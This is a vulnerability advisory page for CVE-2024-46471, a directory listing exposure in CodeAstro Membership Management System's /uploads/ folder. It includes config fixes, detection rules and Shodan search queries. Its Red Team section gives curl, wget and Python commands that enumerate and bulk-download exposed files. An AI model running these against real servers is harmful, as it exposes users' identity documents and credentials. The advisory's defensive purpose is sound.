☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-548
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-46471

CVE-2024-46471 Information Disclosure in Codeastro
📅 PUBLISHED: 2024-09-27 00:00 UTC 🔄 UPDATED: 2026-08-12 09:04 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1213
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-46471 exposes a critical information disclosure vulnerability in the CodeAstro Membership Management System 1.0. The /uploads/ directory is configured with directory listing enabled, allowing any unauthenticated attacker to browse, enumerate, and download all files stored within. This includes uploaded user documents, profile pictures, system backups, and potentially configuration files that may contain sensitive data such as database credentials or API keys. The vulnerability is trivial to exploit and requires no authentication or special privileges. No official patch has been released by the vendor, and the project appears to be abandoned. This report provides a comprehensive technical analysis, detection rules, and exploitation guidance for both Red and Blue Teams.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications exist beyond the direct use of the vulnerable software.

CVSS Breakdown & Threat Level

While no official CVSS vector is assigned, a reasonable assessment based on the vulnerability characteristics is:

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component is the only affected asset.
  • Confidentiality (C): High (H) – Sensitive files can be read.
  • Integrity (I): None (N) – No file modification possible.
  • Availability (A): None (N) – No denial of service.

Estimated CVSS Base Score: 7.5 (High)

Threat Level: High. The ease of exploitation and potential for sensitive data exposure make this a significant risk for any organization using this software.

Deep Dive & Mechanics

The vulnerability resides in the web server configuration (likely Apache or Nginx) that serves the CodeAstro Membership Management System. The /uploads/ directory is intended to store user-uploaded files such as profile pictures, identification documents, and other attachments. However, the directory does not have an index.php or index.html file, and the web server is configured to allow directory listing.

When an attacker sends an HTTP GET request to http://target.com/uploads/, the server responds with an HTML page listing all files and subdirectories within that directory. This allows the attacker to:

  1. Enumerate all uploaded files: See filenames, file sizes, and last modified dates.
  2. Download any file: By clicking on the file link or directly requesting the file path.
  3. Discover sensitive information: Files may include:
    • User identification documents (passports, driver's licenses)
    • Payment receipts or invoices
    • System backup files (e.g., database dumps)
    • Configuration files accidentally placed in the uploads directory
    • PHP shells or other malicious files uploaded by other attackers

The vulnerability is not a code injection or remote code execution; it is purely an information disclosure issue. However, the exposed data can be used to launch further attacks, such as identity theft, social engineering, or credential stuffing.

Vulnerable vs. Patched Code

There is no patched version available. The vulnerable code is the web server configuration, not the PHP application itself. The fix involves disabling directory listing in the web server configuration.

Vulnerable Configuration (Apache):

<Directory /var/www/html/uploads>
    Options +Indexes
    AllowOverride None
    Require all granted
</Directory>

Patched Configuration (Apache):

<Directory /var/www/html/uploads>
    Options -Indexes
    AllowOverride None
    Require all granted
</Directory>

Vulnerable Configuration (Nginx):

location /uploads/ {
    autoindex on;
}

Patched Configuration (Nginx):

location /uploads/ {
    autoindex off;
}

Additionally, a more secure approach is to serve uploaded files through a PHP script that performs authentication and authorization checks before delivering the file, rather than allowing direct access to the filesystem.

Exploitation & Lab Setup

Red Team

Objective: Enumerate and exfiltrate sensitive files from the /uploads/ directory.

Lab Setup:

  1. Deploy CodeAstro Membership Management System 1.0 on a local server (e.g., using XAMPP or Docker).
  2. Ensure the /uploads/ directory has directory listing enabled.
  3. Upload a few test files (e.g., test.txt, user_photo.jpg, backup.sql).

Exploitation Steps:

  1. Manual Enumeration:

    • Open a web browser and navigate to http://target.com/uploads/.
    • The directory listing will display all files.
    • Right-click and save each file of interest.
  2. Automated Enumeration with cURL:

    curl -s http://target.com/uploads/ | grep -oP 'href="[^"]+"' | grep -v 'Parent Directory' | sed 's/href="//;s/"//'
    
  3. Bulk Download with wget:

    wget -r -np -nH --cut-dirs=1 -R index.html http://target.com/uploads/
    
  4. Python Script for Advanced Enumeration:

    import requests
    from bs4 import BeautifulSoup
    import os
    
    url = "http://target.com/uploads/"
    response = requests.get(url)
    soup = BeautifulSoup(response.text, 'html.parser')
    for link in soup.find_all('a'):
        href = link.get('href')
        if href and not href.startswith('?') and href != '../':
            file_url = url + href
            print(f"Downloading: {file_url}")
            file_data = requests.get(file_url).content
            with open(os.path.basename(href), 'wb') as f:
                f.write(file_data)
    

Blue Team

Objective: Detect and prevent exploitation of the directory listing vulnerability.

Detection Steps:

  1. Monitor Web Server Logs:

    • Look for requests to /uploads/ that return a 200 OK status with a large response body (indicating directory listing).
    • Example Apache log entry:
      192.168.1.100 - - [10/Oct/2024:12:34:56 +0000] "GET /uploads/ HTTP/1.1" 200 12345 "-" "Mozilla/5.0"
      
  2. Honeypot Files:

    • Place a file named index.php or index.html in the /uploads/ directory to prevent directory listing.
    • Alternatively, place a .htaccess file with Options -Indexes.
  3. Network Detection:

    • Use the Suricata rule provided in the Detection Engineering section to alert on directory listing attempts.
  4. File Integrity Monitoring:

    • Monitor the /uploads/ directory for unexpected files or changes to existing files.

Indicators of Compromise (IOCs)

  • Network:

    • HTTP GET requests to /uploads/ with a 200 OK response and HTML containing <title>Index of /uploads</title>.
    • Multiple sequential GET requests to /uploads/<filename> from the same source IP.
  • Host:

    • Presence of files in /uploads/ that are not expected (e.g., .sql dumps, .env files).
    • Web server access logs showing directory listing requests.
  • File Hashes (Example):

    • If a known sensitive file is exposed, its hash can be used as an IOC.
    • Example: backup.sql SHA256: a1b2c3d4e5f6...

Detection Engineering

YARA Rule

rule Detect_CodeAstro_Directory_Listing {
    meta:
        description = "Detects directory listing response from CodeAstro Membership Management System /uploads/ endpoint"
        author = "Valters IT"
        date = "2024-10-10"
        reference = "CVE-2024-46471"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $title = "<title>Index of /uploads</title>"
        $parent = "Parent Directory</a>"
        $codeastro = "CodeAstro" nocase
    condition:
        all of them
}

Sigma Rule

title: CodeAstro Membership Management System Directory Listing
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to /uploads/ directory that return directory listing
author: Valters IT
date: 2024/10/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-46471
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/uploads/'
        sc-status: 200
        cs-content-type: 'text/html'
    condition: selection
falsepositives:
    - Legitimate directory listing if intentionally enabled
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-46471 - CodeAstro Membership Management System Directory Listing"; flow:to_server,established; content:"GET"; http_method; content:"/uploads/"; http_uri; content:"200"; http_server_body; content:"Index of /uploads"; http_server_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Fix:

    • Disable directory listing in the web server configuration for the /uploads/ directory.
    • For Apache: Add Options -Indexes to the <Directory> block.
    • For Nginx: Set autoindex off; in the location block.
  2. Alternative Fix:

    • Place an empty index.php or index.html file in the /uploads/ directory to prevent directory listing.
  3. Long-Term Solution:

    • Migrate to a different, actively maintained membership management system.
    • Implement a file serving script that authenticates users before allowing file downloads.
    • Store uploaded files outside the web root and serve them through a PHP script.
  4. Compromise Assessment:

    • Review web server logs for any unauthorized access to the /uploads/ directory.
    • Check for any files that may have been downloaded or exfiltrated.
    • Rotate any credentials or sensitive data that may have been exposed.
  5. Vendor Communication:

    • Since the vendor is unresponsive, consider forking the project and applying the fix yourself, or switch to an alternative solution.

Valters IT
Securing Your Digital Frontier

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

title:"Membership Management System"
http.title:"CodeAstro"
path:"/uploads/"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-46471/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.